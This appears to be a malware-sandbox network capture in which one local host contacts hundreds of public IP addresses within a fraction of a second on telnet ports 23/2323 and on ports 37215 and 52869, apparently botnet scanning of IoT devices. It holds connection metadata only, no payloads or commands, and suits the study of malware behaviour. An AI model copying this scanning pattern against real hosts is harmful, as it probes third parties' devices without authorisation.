Oct 6, 2024 20:00:45.500314951 CEST	50952	23	192.168.2.15	133.252.90.123
Oct 6, 2024 20:00:45.500319004 CEST	50952	23	192.168.2.15	79.213.119.81
Oct 6, 2024 20:00:45.500322104 CEST	23	50952	75.253.76.145	192.168.2.15
Oct 6, 2024 20:00:45.500330925 CEST	2323	50952	150.5.130.236	192.168.2.15
Oct 6, 2024 20:00:45.500339985 CEST	23	50952	174.241.189.113	192.168.2.15
Oct 6, 2024 20:00:45.500340939 CEST	50952	23	192.168.2.15	204.164.30.182
Oct 6, 2024 20:00:45.500341892 CEST	50952	23	192.168.2.15	84.59.210.182
Oct 6, 2024 20:00:45.500355959 CEST	50952	23	192.168.2.15	73.100.204.2
Oct 6, 2024 20:00:45.500363111 CEST	50952	23	192.168.2.15	75.253.76.145
Oct 6, 2024 20:00:45.500375986 CEST	50952	23	192.168.2.15	174.241.189.113
Oct 6, 2024 20:00:45.500400066 CEST	50952	2323	192.168.2.15	150.5.130.236
Oct 6, 2024 20:00:45.500502110 CEST	23	50952	200.60.10.13	192.168.2.15
Oct 6, 2024 20:00:45.500511885 CEST	23	50952	87.110.82.110	192.168.2.15
Oct 6, 2024 20:00:45.500520945 CEST	2323	50952	111.20.238.61	192.168.2.15
Oct 6, 2024 20:00:45.500530005 CEST	23	50952	190.247.106.82	192.168.2.15
Oct 6, 2024 20:00:45.500535965 CEST	50952	23	192.168.2.15	87.110.82.110
Oct 6, 2024 20:00:45.500540018 CEST	23	50952	117.84.237.60	192.168.2.15
Oct 6, 2024 20:00:45.500544071 CEST	50952	2323	192.168.2.15	111.20.238.61
Oct 6, 2024 20:00:45.500545979 CEST	50952	23	192.168.2.15	200.60.10.13
Oct 6, 2024 20:00:45.500549078 CEST	23	50952	193.218.103.181	192.168.2.15
Oct 6, 2024 20:00:45.500557899 CEST	23	50952	220.61.138.111	192.168.2.15
Oct 6, 2024 20:00:45.500566006 CEST	23	50952	58.136.44.133	192.168.2.15
Oct 6, 2024 20:00:45.500585079 CEST	50952	23	192.168.2.15	220.61.138.111
Oct 6, 2024 20:00:45.500586987 CEST	50952	23	192.168.2.15	190.247.106.82
Oct 6, 2024 20:00:45.500586987 CEST	50952	23	192.168.2.15	117.84.237.60
Oct 6, 2024 20:00:45.500586987 CEST	50952	23	192.168.2.15	193.218.103.181
Oct 6, 2024 20:00:45.500593901 CEST	50952	23	192.168.2.15	58.136.44.133
Oct 6, 2024 20:00:45.500672102 CEST	23	50952	198.157.159.250	192.168.2.15
Oct 6, 2024 20:00:45.500682116 CEST	23	50952	151.53.146.251	192.168.2.15
Oct 6, 2024 20:00:45.500689983 CEST	23	50952	147.228.230.163	192.168.2.15
Oct 6, 2024 20:00:45.500699043 CEST	23	50952	85.56.184.183	192.168.2.15
Oct 6, 2024 20:00:45.500706911 CEST	50952	23	192.168.2.15	198.157.159.250
Oct 6, 2024 20:00:45.500709057 CEST	2323	50952	148.2.137.91	192.168.2.15
Oct 6, 2024 20:00:45.500719070 CEST	23	50952	120.122.190.46	192.168.2.15
Oct 6, 2024 20:00:45.500720024 CEST	50952	23	192.168.2.15	151.53.146.251
Oct 6, 2024 20:00:45.500729084 CEST	23	50952	78.100.20.227	192.168.2.15
Oct 6, 2024 20:00:45.500737906 CEST	23	50952	87.112.124.189	192.168.2.15
Oct 6, 2024 20:00:45.500739098 CEST	50952	2323	192.168.2.15	148.2.137.91
Oct 6, 2024 20:00:45.500741959 CEST	50952	23	192.168.2.15	147.228.230.163
Oct 6, 2024 20:00:45.500745058 CEST	50952	23	192.168.2.15	120.122.190.46
Oct 6, 2024 20:00:45.500747919 CEST	23	50952	153.211.74.156	192.168.2.15
Oct 6, 2024 20:00:45.500749111 CEST	50952	23	192.168.2.15	85.56.184.183
Oct 6, 2024 20:00:45.500757933 CEST	23	50952	106.72.135.76	192.168.2.15
Oct 6, 2024 20:00:45.500758886 CEST	50952	23	192.168.2.15	78.100.20.227
Oct 6, 2024 20:00:45.500761032 CEST	50952	23	192.168.2.15	87.112.124.189
Oct 6, 2024 20:00:45.500770092 CEST	23	50952	159.123.40.86	192.168.2.15
Oct 6, 2024 20:00:45.500776052 CEST	50952	23	192.168.2.15	153.211.74.156
Oct 6, 2024 20:00:45.500780106 CEST	23	50952	63.169.36.39	192.168.2.15
Oct 6, 2024 20:00:45.500788927 CEST	23	50952	40.137.110.251	192.168.2.15
Oct 6, 2024 20:00:45.500813007 CEST	50952	23	192.168.2.15	106.72.135.76
Oct 6, 2024 20:00:45.500813007 CEST	50952	23	192.168.2.15	63.169.36.39
Oct 6, 2024 20:00:45.500814915 CEST	50952	23	192.168.2.15	159.123.40.86
Oct 6, 2024 20:00:45.500818968 CEST	50952	23	192.168.2.15	40.137.110.251
Oct 6, 2024 20:00:45.500823975 CEST	23	50952	81.63.207.128	192.168.2.15
Oct 6, 2024 20:00:45.500833988 CEST	23	50952	8.32.127.88	192.168.2.15
Oct 6, 2024 20:00:45.500843048 CEST	23	50952	189.9.31.144	192.168.2.15
Oct 6, 2024 20:00:45.500852108 CEST	2323	50952	9.53.199.248	192.168.2.15
Oct 6, 2024 20:00:45.500859976 CEST	23	50952	146.36.84.152	192.168.2.15
Oct 6, 2024 20:00:45.500864029 CEST	50952	23	192.168.2.15	8.32.127.88
Oct 6, 2024 20:00:45.500864983 CEST	50952	23	192.168.2.15	81.63.207.128
Oct 6, 2024 20:00:45.500870943 CEST	23	50952	63.52.69.116	192.168.2.15
Oct 6, 2024 20:00:45.500876904 CEST	50952	23	192.168.2.15	189.9.31.144
Oct 6, 2024 20:00:45.500881910 CEST	23	50952	23.8.245.201	192.168.2.15
Oct 6, 2024 20:00:45.500886917 CEST	50952	23	192.168.2.15	146.36.84.152
Oct 6, 2024 20:00:45.500891924 CEST	23	50952	206.168.221.137	192.168.2.15
Oct 6, 2024 20:00:45.500917912 CEST	50952	2323	192.168.2.15	9.53.199.248
Oct 6, 2024 20:00:45.500917912 CEST	50952	23	192.168.2.15	63.52.69.116
Oct 6, 2024 20:00:45.500926971 CEST	50952	23	192.168.2.15	206.168.221.137
Oct 6, 2024 20:00:45.500946045 CEST	50952	23	192.168.2.15	23.8.245.201
Oct 6, 2024 20:00:45.500989914 CEST	23	50952	124.198.114.29	192.168.2.15
Oct 6, 2024 20:00:45.500999928 CEST	23	50952	160.112.153.171	192.168.2.15
Oct 6, 2024 20:00:45.501008987 CEST	23	50952	87.235.162.220	192.168.2.15
Oct 6, 2024 20:00:45.501028061 CEST	50952	23	192.168.2.15	124.198.114.29
Oct 6, 2024 20:00:45.501028061 CEST	50952	23	192.168.2.15	87.235.162.220
Oct 6, 2024 20:00:45.501074076 CEST	50952	23	192.168.2.15	160.112.153.171
Oct 6, 2024 20:00:45.501152992 CEST	37215	53674	156.28.135.157	192.168.2.15
Oct 6, 2024 20:00:45.501162052 CEST	52869	52486	156.209.222.208	192.168.2.15
Oct 6, 2024 20:00:45.501171112 CEST	37215	56060	156.91.147.218	192.168.2.15
Oct 6, 2024 20:00:45.501189947 CEST	53674	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:45.501229048 CEST	56060	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:45.501230001 CEST	52486	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:45.501812935 CEST	37215	37136	197.107.116.23	192.168.2.15
Oct 6, 2024 20:00:45.501821041 CEST	46980	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:45.501822948 CEST	52869	52228	197.248.131.4	192.168.2.15
Oct 6, 2024 20:00:45.501852036 CEST	37136	37215	192.168.2.15	197.107.116.23
Oct 6, 2024 20:00:45.501877069 CEST	52228	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:45.501993895 CEST	37215	36682	197.229.12.237	192.168.2.15
Oct 6, 2024 20:00:45.502046108 CEST	36682	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:45.502124071 CEST	56316	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:45.502295971 CEST	37215	51654	41.58.165.93	192.168.2.15
Oct 6, 2024 20:00:45.502305031 CEST	52869	44004	197.245.110.106	192.168.2.15
Oct 6, 2024 20:00:45.502312899 CEST	37215	42670	41.61.136.167	192.168.2.15
Oct 6, 2024 20:00:45.502341032 CEST	51654	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:45.502341032 CEST	42670	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:45.502346992 CEST	44004	52869	192.168.2.15	197.245.110.106
Oct 6, 2024 20:00:45.502415895 CEST	37215	32888	156.205.129.99	192.168.2.15
Oct 6, 2024 20:00:45.502449989 CEST	52869	58748	41.160.145.109	192.168.2.15
Oct 6, 2024 20:00:45.502465010 CEST	32888	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:45.502490044 CEST	58748	52869	192.168.2.15	41.160.145.109
Oct 6, 2024 20:00:45.503523111 CEST	55486	37215	192.168.2.15	197.83.37.51
Oct 6, 2024 20:00:45.504138947 CEST	37215	48774	197.235.232.143	192.168.2.15
Oct 6, 2024 20:00:45.504175901 CEST	48774	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:45.504215002 CEST	57182	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:45.505337954 CEST	37215	51892	197.164.55.197	192.168.2.15
Oct 6, 2024 20:00:45.505347967 CEST	52869	44782	41.152.8.136	192.168.2.15
Oct 6, 2024 20:00:45.505381107 CEST	44782	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:45.505383015 CEST	51892	37215	192.168.2.15	197.164.55.197
Oct 6, 2024 20:00:45.505551100 CEST	45390	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:45.506006002 CEST	59494	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:45.506587982 CEST	37215	46980	197.150.169.53	192.168.2.15
Oct 6, 2024 20:00:45.506675005 CEST	46980	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:45.506983995 CEST	52869	56316	197.225.206.52	192.168.2.15
Oct 6, 2024 20:00:45.507025957 CEST	56316	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:45.507183075 CEST	55372	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:45.507822990 CEST	55836	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:45.508275986 CEST	37215	55486	197.83.37.51	192.168.2.15
Oct 6, 2024 20:00:45.508337975 CEST	55486	37215	192.168.2.15	197.83.37.51
Oct 6, 2024 20:00:45.508945942 CEST	52869	57182	156.140.4.216	192.168.2.15
Oct 6, 2024 20:00:45.509008884 CEST	57182	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:45.509150028 CEST	48720	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:45.509485960 CEST	59818	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:45.510241985 CEST	37215	45390	41.241.161.251	192.168.2.15
Oct 6, 2024 20:00:45.510279894 CEST	45390	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:45.510634899 CEST	37592	37215	192.168.2.15	197.164.91.95
Oct 6, 2024 20:00:45.510735035 CEST	52869	59494	197.115.54.7	192.168.2.15
Oct 6, 2024 20:00:45.510771036 CEST	59494	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:45.511296988 CEST	52910	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:45.511909008 CEST	37215	55372	197.137.68.198	192.168.2.15
Oct 6, 2024 20:00:45.511951923 CEST	55372	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:45.512619972 CEST	52869	55836	41.88.112.9	192.168.2.15
Oct 6, 2024 20:00:45.512658119 CEST	55836	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:45.512808084 CEST	49766	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:45.513561010 CEST	47080	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:45.513881922 CEST	37215	48720	41.240.79.98	192.168.2.15
Oct 6, 2024 20:00:45.513921976 CEST	48720	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:45.514210939 CEST	52869	59818	197.66.205.185	192.168.2.15
Oct 6, 2024 20:00:45.514250994 CEST	59818	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:45.515357018 CEST	37215	37592	197.164.91.95	192.168.2.15
Oct 6, 2024 20:00:45.515428066 CEST	37592	37215	192.168.2.15	197.164.91.95
Oct 6, 2024 20:00:45.515499115 CEST	42524	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:45.515999079 CEST	52869	52910	41.234.254.118	192.168.2.15
Oct 6, 2024 20:00:45.516041040 CEST	52910	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:45.516249895 CEST	52028	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:45.517539024 CEST	37215	49766	156.203.1.203	192.168.2.15
Oct 6, 2024 20:00:45.517580986 CEST	49766	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:45.517810106 CEST	54606	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:45.518316031 CEST	52869	47080	197.91.217.111	192.168.2.15
Oct 6, 2024 20:00:45.518332005 CEST	43846	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:45.518537998 CEST	47080	52869	192.168.2.15	197.91.217.111
Oct 6, 2024 20:00:45.519659996 CEST	56462	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:45.520240068 CEST	37215	42524	156.35.78.115	192.168.2.15
Oct 6, 2024 20:00:45.520291090 CEST	42524	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:45.520992041 CEST	52869	52028	197.188.171.59	192.168.2.15
Oct 6, 2024 20:00:45.521044016 CEST	52028	52869	192.168.2.15	197.188.171.59
Oct 6, 2024 20:00:45.522562027 CEST	37215	54606	156.112.233.104	192.168.2.15
Oct 6, 2024 20:00:45.522614002 CEST	54606	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:45.523027897 CEST	51952	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:45.523061037 CEST	52869	43846	156.84.91.166	192.168.2.15
Oct 6, 2024 20:00:45.523122072 CEST	43846	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:45.524449110 CEST	37215	56462	41.166.51.57	192.168.2.15
Oct 6, 2024 20:00:45.524498940 CEST	56462	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:45.526875019 CEST	42832	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:45.527602911 CEST	32772	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:45.527750015 CEST	52869	51952	197.6.243.246	192.168.2.15
Oct 6, 2024 20:00:45.529409885 CEST	51952	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:45.531719923 CEST	37215	42832	156.77.142.2	192.168.2.15
Oct 6, 2024 20:00:45.531769037 CEST	42832	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:45.532149076 CEST	41016	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:45.532354116 CEST	52869	32772	156.111.21.115	192.168.2.15
Oct 6, 2024 20:00:45.532401085 CEST	32772	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:45.533766031 CEST	56318	52869	192.168.2.15	41.201.71.143
Oct 6, 2024 20:00:45.535401106 CEST	54134	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:45.535902977 CEST	47168	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:45.536956072 CEST	37215	41016	197.66.17.119	192.168.2.15
Oct 6, 2024 20:00:45.536994934 CEST	41016	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:45.537722111 CEST	55974	37215	192.168.2.15	41.224.228.252
Oct 6, 2024 20:00:45.538552046 CEST	52869	56318	41.201.71.143	192.168.2.15
Oct 6, 2024 20:00:45.538594961 CEST	52038	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:45.538619995 CEST	56318	52869	192.168.2.15	41.201.71.143
Oct 6, 2024 20:00:45.540144920 CEST	51070	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:45.540209055 CEST	37215	54134	41.52.175.140	192.168.2.15
Oct 6, 2024 20:00:45.540251017 CEST	54134	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:45.540682077 CEST	52869	47168	197.102.208.139	192.168.2.15
Oct 6, 2024 20:00:45.540769100 CEST	47168	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:45.541101933 CEST	49000	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:45.542233944 CEST	60460	37215	192.168.2.15	197.164.143.249
Oct 6, 2024 20:00:45.542551994 CEST	37215	55974	41.224.228.252	192.168.2.15
Oct 6, 2024 20:00:45.542625904 CEST	55974	37215	192.168.2.15	41.224.228.252
Oct 6, 2024 20:00:45.542985916 CEST	49878	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:45.543363094 CEST	52869	52038	197.223.1.202	192.168.2.15
Oct 6, 2024 20:00:45.543406010 CEST	52038	52869	192.168.2.15	197.223.1.202
Oct 6, 2024 20:00:45.544028044 CEST	42190	37215	192.168.2.15	156.104.113.198
Oct 6, 2024 20:00:45.544874907 CEST	37215	51070	41.113.206.125	192.168.2.15
Oct 6, 2024 20:00:45.544959068 CEST	51070	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:45.545202971 CEST	59256	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:45.546350002 CEST	52869	49000	197.116.43.94	192.168.2.15
Oct 6, 2024 20:00:45.546400070 CEST	49000	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:45.546746969 CEST	50184	37215	192.168.2.15	197.6.95.61
Oct 6, 2024 20:00:45.547056913 CEST	37215	60460	197.164.143.249	192.168.2.15
Oct 6, 2024 20:00:45.547123909 CEST	60460	37215	192.168.2.15	197.164.143.249
Oct 6, 2024 20:00:45.547487974 CEST	58434	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:45.547887087 CEST	52869	49878	41.84.181.199	192.168.2.15
Oct 6, 2024 20:00:45.547928095 CEST	49878	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:45.548691034 CEST	53076	37215	192.168.2.15	156.189.150.200
Oct 6, 2024 20:00:45.548841000 CEST	37215	42190	156.104.113.198	192.168.2.15
Oct 6, 2024 20:00:45.548886061 CEST	42190	37215	192.168.2.15	156.104.113.198
Oct 6, 2024 20:00:45.550062895 CEST	52869	59256	197.167.179.38	192.168.2.15
Oct 6, 2024 20:00:45.550931931 CEST	59256	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:45.551182032 CEST	36268	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:45.551486015 CEST	37215	50184	197.6.95.61	192.168.2.15
Oct 6, 2024 20:00:45.551537991 CEST	50184	37215	192.168.2.15	197.6.95.61
Oct 6, 2024 20:00:45.552264929 CEST	52869	58434	156.78.143.45	192.168.2.15
Oct 6, 2024 20:00:45.552304029 CEST	58434	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:45.553020000 CEST	41996	37215	192.168.2.15	41.216.18.137
Oct 6, 2024 20:00:45.553448915 CEST	37215	53076	156.189.150.200	192.168.2.15
Oct 6, 2024 20:00:45.553555965 CEST	53076	37215	192.168.2.15	156.189.150.200
Oct 6, 2024 20:00:45.553688049 CEST	41368	52869	192.168.2.15	41.49.2.128
Oct 6, 2024 20:00:45.555996895 CEST	52869	36268	41.33.42.120	192.168.2.15
Oct 6, 2024 20:00:45.556042910 CEST	36268	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:45.557228088 CEST	59470	37215	192.168.2.15	156.209.57.80
Oct 6, 2024 20:00:45.557791948 CEST	37215	41996	41.216.18.137	192.168.2.15
Oct 6, 2024 20:00:45.557837963 CEST	41996	37215	192.168.2.15	41.216.18.137
Oct 6, 2024 20:00:45.558469057 CEST	52869	41368	41.49.2.128	192.168.2.15
Oct 6, 2024 20:00:45.558511019 CEST	41368	52869	192.168.2.15	41.49.2.128
Oct 6, 2024 20:00:45.559182882 CEST	59566	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:45.560353994 CEST	51842	37215	192.168.2.15	197.233.118.113
Oct 6, 2024 20:00:45.561144114 CEST	46828	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:45.562052011 CEST	37215	59470	156.209.57.80	192.168.2.15
Oct 6, 2024 20:00:45.562098980 CEST	59470	37215	192.168.2.15	156.209.57.80
Oct 6, 2024 20:00:45.562499046 CEST	45600	37215	192.168.2.15	41.172.241.134
Oct 6, 2024 20:00:45.563432932 CEST	55744	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:45.564007998 CEST	52869	59566	41.111.81.107	192.168.2.15
Oct 6, 2024 20:00:45.564078093 CEST	59566	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:45.564897060 CEST	34590	37215	192.168.2.15	197.21.179.212
Oct 6, 2024 20:00:45.565632105 CEST	37215	51842	197.233.118.113	192.168.2.15
Oct 6, 2024 20:00:45.565666914 CEST	51842	37215	192.168.2.15	197.233.118.113
Oct 6, 2024 20:00:45.566077948 CEST	37456	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:45.566817999 CEST	52869	46828	156.67.119.255	192.168.2.15
Oct 6, 2024 20:00:45.566854954 CEST	46828	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:45.567117929 CEST	58002	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:45.567754984 CEST	37215	45600	41.172.241.134	192.168.2.15
Oct 6, 2024 20:00:45.567778111 CEST	50744	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:45.567799091 CEST	45600	37215	192.168.2.15	41.172.241.134
Oct 6, 2024 20:00:45.568730116 CEST	52869	55744	156.5.234.27	192.168.2.15
Oct 6, 2024 20:00:45.568824053 CEST	55744	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:45.569463968 CEST	53332	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:45.569701910 CEST	37215	34590	197.21.179.212	192.168.2.15
Oct 6, 2024 20:00:45.569749117 CEST	34590	37215	192.168.2.15	197.21.179.212
Oct 6, 2024 20:00:45.570254087 CEST	41246	52869	192.168.2.15	41.127.219.252
Oct 6, 2024 20:00:45.571084976 CEST	52869	37456	197.229.67.248	192.168.2.15
Oct 6, 2024 20:00:45.571125031 CEST	37456	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:45.571336031 CEST	46368	37215	192.168.2.15	156.33.124.178
Oct 6, 2024 20:00:45.571950912 CEST	37215	58002	41.147.247.83	192.168.2.15
Oct 6, 2024 20:00:45.571995020 CEST	58002	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:45.572043896 CEST	53276	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:45.572696924 CEST	52869	50744	156.43.59.77	192.168.2.15
Oct 6, 2024 20:00:45.572746992 CEST	50744	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:45.573719978 CEST	44246	37215	192.168.2.15	41.216.41.161
Oct 6, 2024 20:00:45.574352980 CEST	37215	53332	156.59.176.98	192.168.2.15
Oct 6, 2024 20:00:45.574392080 CEST	53332	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:45.574532032 CEST	38682	52869	192.168.2.15	197.202.148.63
Oct 6, 2024 20:00:45.574986935 CEST	52869	41246	41.127.219.252	192.168.2.15
Oct 6, 2024 20:00:45.575028896 CEST	41246	52869	192.168.2.15	41.127.219.252
Oct 6, 2024 20:00:45.575834990 CEST	53484	37215	192.168.2.15	197.103.184.79
Oct 6, 2024 20:00:45.576138973 CEST	37215	46368	156.33.124.178	192.168.2.15
Oct 6, 2024 20:00:45.576188087 CEST	46368	37215	192.168.2.15	156.33.124.178
Oct 6, 2024 20:00:45.576803923 CEST	52869	53276	41.145.82.194	192.168.2.15
Oct 6, 2024 20:00:45.576848030 CEST	53276	52869	192.168.2.15	41.145.82.194
Oct 6, 2024 20:00:45.576910019 CEST	57878	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:45.577811956 CEST	44266	37215	192.168.2.15	156.171.125.229
Oct 6, 2024 20:00:45.578536034 CEST	37215	44246	41.216.41.161	192.168.2.15
Oct 6, 2024 20:00:45.578572989 CEST	44246	37215	192.168.2.15	41.216.41.161
Oct 6, 2024 20:00:45.578721046 CEST	37264	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:45.579302073 CEST	52869	38682	197.202.148.63	192.168.2.15
Oct 6, 2024 20:00:45.579348087 CEST	38682	52869	192.168.2.15	197.202.148.63
Oct 6, 2024 20:00:45.580025911 CEST	40824	37215	192.168.2.15	197.23.127.152
Oct 6, 2024 20:00:45.580662966 CEST	37215	53484	197.103.184.79	192.168.2.15
Oct 6, 2024 20:00:45.580708981 CEST	53484	37215	192.168.2.15	197.103.184.79
Oct 6, 2024 20:00:45.580852985 CEST	34498	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:45.581698895 CEST	52869	57878	197.175.106.121	192.168.2.15
Oct 6, 2024 20:00:45.581753016 CEST	57878	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:45.581753016 CEST	51694	37215	192.168.2.15	41.138.115.205
Oct 6, 2024 20:00:45.582601070 CEST	37215	44266	156.171.125.229	192.168.2.15
Oct 6, 2024 20:00:45.582653999 CEST	44266	37215	192.168.2.15	156.171.125.229
Oct 6, 2024 20:00:45.582714081 CEST	55826	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:45.583458900 CEST	52869	37264	156.11.241.64	192.168.2.15
Oct 6, 2024 20:00:45.583528042 CEST	37264	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:45.584039927 CEST	34380	37215	192.168.2.15	156.140.244.109
Oct 6, 2024 20:00:45.584857941 CEST	37215	40824	197.23.127.152	192.168.2.15
Oct 6, 2024 20:00:45.584897995 CEST	40824	37215	192.168.2.15	197.23.127.152
Oct 6, 2024 20:00:45.585203886 CEST	41462	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:45.585621119 CEST	52869	34498	156.146.11.26	192.168.2.15
Oct 6, 2024 20:00:45.585726976 CEST	34498	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:45.586381912 CEST	37310	37215	192.168.2.15	156.169.96.48
Oct 6, 2024 20:00:45.586592913 CEST	37215	51694	41.138.115.205	192.168.2.15
Oct 6, 2024 20:00:45.586885929 CEST	51694	37215	192.168.2.15	41.138.115.205
Oct 6, 2024 20:00:45.587491989 CEST	52869	55826	41.219.49.191	192.168.2.15
Oct 6, 2024 20:00:45.587536097 CEST	55826	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:45.587665081 CEST	33578	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:45.588815928 CEST	37215	34380	156.140.244.109	192.168.2.15
Oct 6, 2024 20:00:45.588886023 CEST	34380	37215	192.168.2.15	156.140.244.109
Oct 6, 2024 20:00:45.588967085 CEST	39338	37215	192.168.2.15	197.158.249.73
Oct 6, 2024 20:00:45.590037107 CEST	52869	41462	156.254.20.162	192.168.2.15
Oct 6, 2024 20:00:45.590086937 CEST	41462	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:45.590132952 CEST	40318	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:45.591202021 CEST	37215	37310	156.169.96.48	192.168.2.15
Oct 6, 2024 20:00:45.591281891 CEST	53074	37215	192.168.2.15	197.30.226.169
Oct 6, 2024 20:00:45.591281891 CEST	37310	37215	192.168.2.15	156.169.96.48
Oct 6, 2024 20:00:45.592119932 CEST	33120	52869	192.168.2.15	197.183.46.225
Oct 6, 2024 20:00:45.592385054 CEST	52869	33578	197.29.5.14	192.168.2.15
Oct 6, 2024 20:00:45.592427969 CEST	33578	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:45.593255043 CEST	58928	37215	192.168.2.15	197.252.154.175
Oct 6, 2024 20:00:45.593677998 CEST	37215	39338	197.158.249.73	192.168.2.15
Oct 6, 2024 20:00:45.593720913 CEST	39338	37215	192.168.2.15	197.158.249.73
Oct 6, 2024 20:00:45.594037056 CEST	35234	52869	192.168.2.15	41.8.233.71
Oct 6, 2024 20:00:45.594912052 CEST	52869	40318	41.126.219.241	192.168.2.15
Oct 6, 2024 20:00:45.594957113 CEST	40318	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:45.594999075 CEST	40368	37215	192.168.2.15	156.87.207.127
Oct 6, 2024 20:00:45.595776081 CEST	51928	52869	192.168.2.15	156.203.57.172
Oct 6, 2024 20:00:45.596024990 CEST	37215	53074	197.30.226.169	192.168.2.15
Oct 6, 2024 20:00:45.596081018 CEST	53074	37215	192.168.2.15	197.30.226.169
Oct 6, 2024 20:00:45.596883059 CEST	52869	33120	197.183.46.225	192.168.2.15
Oct 6, 2024 20:00:45.596945047 CEST	33120	52869	192.168.2.15	197.183.46.225
Oct 6, 2024 20:00:45.597013950 CEST	36388	37215	192.168.2.15	197.36.180.150
Oct 6, 2024 20:00:45.597826958 CEST	58908	52869	192.168.2.15	156.79.32.11
Oct 6, 2024 20:00:45.598006010 CEST	37215	58928	197.252.154.175	192.168.2.15
Oct 6, 2024 20:00:45.598054886 CEST	58928	37215	192.168.2.15	197.252.154.175
